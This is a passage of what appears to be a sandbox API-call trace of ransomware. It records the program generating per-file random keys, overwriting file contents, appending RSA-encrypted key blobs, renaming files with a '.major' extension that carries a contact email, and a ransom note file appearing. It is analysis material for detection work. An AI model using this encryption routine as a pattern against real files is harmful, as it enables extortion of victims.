WriteFile (in: hFile=0x1bec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.388] CloseHandle (hObject=0x1bec) returned 1 [0302.388] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.390] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.390] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.390] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0302.391] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.391] ReadFile (in: hFile=0x1bec, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.391] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.391] WriteFile (in: hFile=0x1bec, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.391] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.391] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.391] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.392] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.392] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.392] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661bf8, pcchString=0x2e3f9a8 | out: pszString="KAr+uj8s6+ikT6SdyDS/RFxuoBVsqGQs5OTJkqGaPX0bWnF3U9SC9eUdKH3ur/T3\nzrAf7U1IihITaLYQe7qZh50JDEjMqLUmzI4DtfR/1ANwX3huknXt3lv8VU1w7zI5\nDXzvaIu51v6/3arR6F2nKDcdEnqIv8N6iNqLBZk/NXkTFkas/YRxq2Yjh+57yIEV\n1f0s5aRQm115qUvJk4q6j98ngVutgULBRJqpLNJqNbDO13SVwcjSYwS/E1SUb4j1\nQB1euXk9sxt8aQs2UBrGfLUo1A6OXpxRFRmVx5FKn1Y4OvxBOCwp2gBLQiD7NWOy\n9bYGimkDukln7Jqlhy7Nmw==\n", pcchString=0x2e3f9a8) returned 1 [0302.392] WriteFile (in: hFile=0x1bec, lpBuffer=0x661bf8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661bf8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.392] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.392] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.393] CloseHandle (hObject=0x1bec) returned 1 [0302.393] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.395] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.395] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1506430071", dwFileAttributes=0x80) returned 1 [0302.395] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1506430071" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1506430071"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0302.396] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70048) returned 1 [0302.396] ReadFile (in: hFile=0x1bec, lpBuffer=0x3540048, nNumberOfBytesToRead=0x111a0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x111a0, lpOverlapped=0x0) returned 1 [0302.577] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=-70048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.577] WriteFile (in: hFile=0x1bec, lpBuffer=0x35511f0*, nNumberOfBytesToWrite=0x111a0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x35511f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x111a0, lpOverlapped=0x0) returned 1 [0302.577] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x111a0 [0302.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.577] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.578] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.578] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662450, pcchString=0x2e3f9a8 | out: pszString="y9E4LETOrOVDkDCrh0JAgqTfS7GPI+ONbepJJtunbe/m5x/YvVnt6dkWLIxXTT7J\npsfHSCut/IAMyiFbvfSpPsNcBLWa07vmogSgMYz50XEZjH5QmLinBIj3dduXv24z\n9A6BUHkpZsDj1Vdo7Nfw9ueVuNDSKXT56PM2mhUDVhDdxq/aj+xQB4vNAFk8zdBu\n07H4+PWR25QAOdgZQ3iD3gRgdihbseCI0B2TD5aaALWKZ0L4chMw7GXmGSKCI7jE\nvXOJlNHCNeeJz7BKs++I4SRfRd6T+OEFxXDNiTEaEEKV3MzwdlWHKkRVrs77eWMJ\nC7jHLscSzpcHK4SML2ridg==\n", pcchString=0x2e3f9a8) returned 1 [0302.578] WriteFile (in: hFile=0x1bec, lpBuffer=0x662450*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662450*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.578] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.578] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.578] CloseHandle (hObject=0x1bec) returned 1 [0302.578] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1506430071" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1506430071"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1506430071.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1506430071.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.580] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1504773412", dwFileAttributes=0x80) returned 1 [0302.581] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1504773412" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1504773412"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bec [0302.581] GetFileSizeEx (in: hFile=0x1bec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=66878) returned 1 [0302.581] ReadFile (in: hFile=0x1bec, lpBuffer=0x3540048, nNumberOfBytesToRead=0x1053e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x1053e, lpOverlapped=0x0) returned 1 [0303.034] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=-66878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.034] WriteFile (in: hFile=0x1bec, lpBuffer=0x3550590*, nNumberOfBytesToWrite=0x1053e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3550590*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1053e, lpOverlapped=0x0) returned 1 [0303.034] SetFilePointer (in: hFile=0x1bec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1053e [0303.034] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.034] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.034] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.034] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.035] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.035] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662ca8, pcchString=0x2e3f9a8 | out: pszString="hr8pYGwFS/FXJHYkB78VErylmnV20kQG4GqY2Iz1+GKjt2jAgshptT5sVq1ltUQc\nP6fNr48Y07AGm2l75Q4nWaB8Y8bUouQea/xNXygRT0Y3PXSUb/ptWDnLeLvaz5uE\nkQCet/qxd3pFvlpRGc1Cg/1XCc+iMxxW8JKICRX6yfvyJ7p22YvGMqcmkngBsDfU\nGybRVdEOq7zrMs5X8WW97kCnU+bePd8zDnO0qIZEaTHC36Ftc0d6pbW0Ioz7rx8J\npl797S9CPedPWkkV8AYiGGM2uufruEcnsVMUYlPiv75mhBa2LBT9wRWmTztW61fd\nlAhQfbgjyiDaoLSfCq9PQg==\n", pcchString=0x2e3f9a8) returned 1 [0303.035] WriteFile (in: hFile=0x1bec, lpBuffer=0x662ca8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662ca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.035] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.035] WriteFile (in: hFile=0x1bec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.035] CloseHandle (hObject=0x1bec) returned 1 [0303.035] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1504773412" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1504773412"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279978\\1504773412.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279978\\1504773412.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.037] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6b72c16, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x5135b547, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f375e8 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] GetLastError () returned 0x0 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] GetLastError () returned 0x0 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6b72c16, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x5135b547, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] GetLastError () returned 0x0 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] GetLastError () returned 0x0 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3918cdcd, ftCreationTime.dwHighDateTime=0x1d327d1, ftLastAccessTime.dwLowDateTime=0x391b3022, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x393ef4f5, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x58b6, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504785768", cAlternateFileName="150478~1")) returned 1 [0303.038] SetLastError (dwErrCode=0x0) [0303.038] GetLastError () returned 0x0 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] SetLastError (dwErrCode=0x0) [0303.039] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2505e10b, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x2505e10b, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x250aa5cc, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504797760", cAlternateFileName="150479~1")) returned 1 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] GetLastError () returned 0x0 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] SetLastError (dwErrCode=0x0) [0303.039] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x239fe4e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4a3580d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] GetLastError () returned 0x0 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] SetLastError (dwErrCode=0x0) [0303.039] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239fe4e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa6a8def4, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa4a3580d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] GetLastError () returned 0x0 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] SetLastError (dwErrCode=0x0) [0303.039] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5135b547, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5135b547, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5135b547, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] GetLastError () returned 0x0 [0303.039] SetLastError (dwErrCode=0x0) [0303.039] SetLastError (dwErrCode=0x0) [0303.040] FindNextFileW (in: hFindFile=0x2f375e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5135b547, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5135b547, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5135b547, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0303.040] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.040] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.040] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\279986\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\279986\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bf0 [0303.041] GetFileSizeEx (in: hFile=0x1bf0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.041] ReadFile (in: hFile=0x1bf0, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.041] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.042] WriteFile (in: hFile=0x1bf0, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.042] SetFilePointer (in: hFile=0x1bf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.042] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.042] WriteFile (in: hFile=0x1bf0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.042] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.043] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.043] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.043] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661930, pcchString=0x2e3f9a8 | out: 